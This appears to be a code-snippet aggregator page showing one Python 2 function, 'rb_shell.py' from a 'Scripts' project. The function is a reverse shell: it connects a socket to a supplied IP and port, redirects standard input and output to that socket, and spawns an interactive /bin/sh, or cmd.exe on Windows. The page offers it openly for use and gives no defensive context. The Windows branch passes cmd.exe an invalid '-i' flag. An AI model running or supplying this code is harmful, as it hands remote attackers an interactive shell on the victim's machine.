rb_shell.py 文件源码

python
阅读 25 收藏 0 点赞 0 评论 0

项目:Scripts 作者: hxer 项目源码 文件源码
def conn(ip,port):
    ip = str(ip)
    port = int(port)
    linux_bash = "/bin/sh"
    windows_cmd = "C:\Windows\System32\cmd.exe"
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip, port))
    print "[*] Connect Success"
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    if os.path.exists(linux_bash):
        p=subprocess.call([linux_bash,"-i"]);
        print "[*] This shell rebound to",ip,port
    elif os.path.exists(windows_cmd):
        p=subprocess.call([windows_cmd,"-i"]);
        print "[*] This shell rebound to",ip,port
    else:
        print "[!] The Command Controler Not Found, I will exit\n"
        print "[!] Please check ",linux_bash,"or",windows_cmd
        exit()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号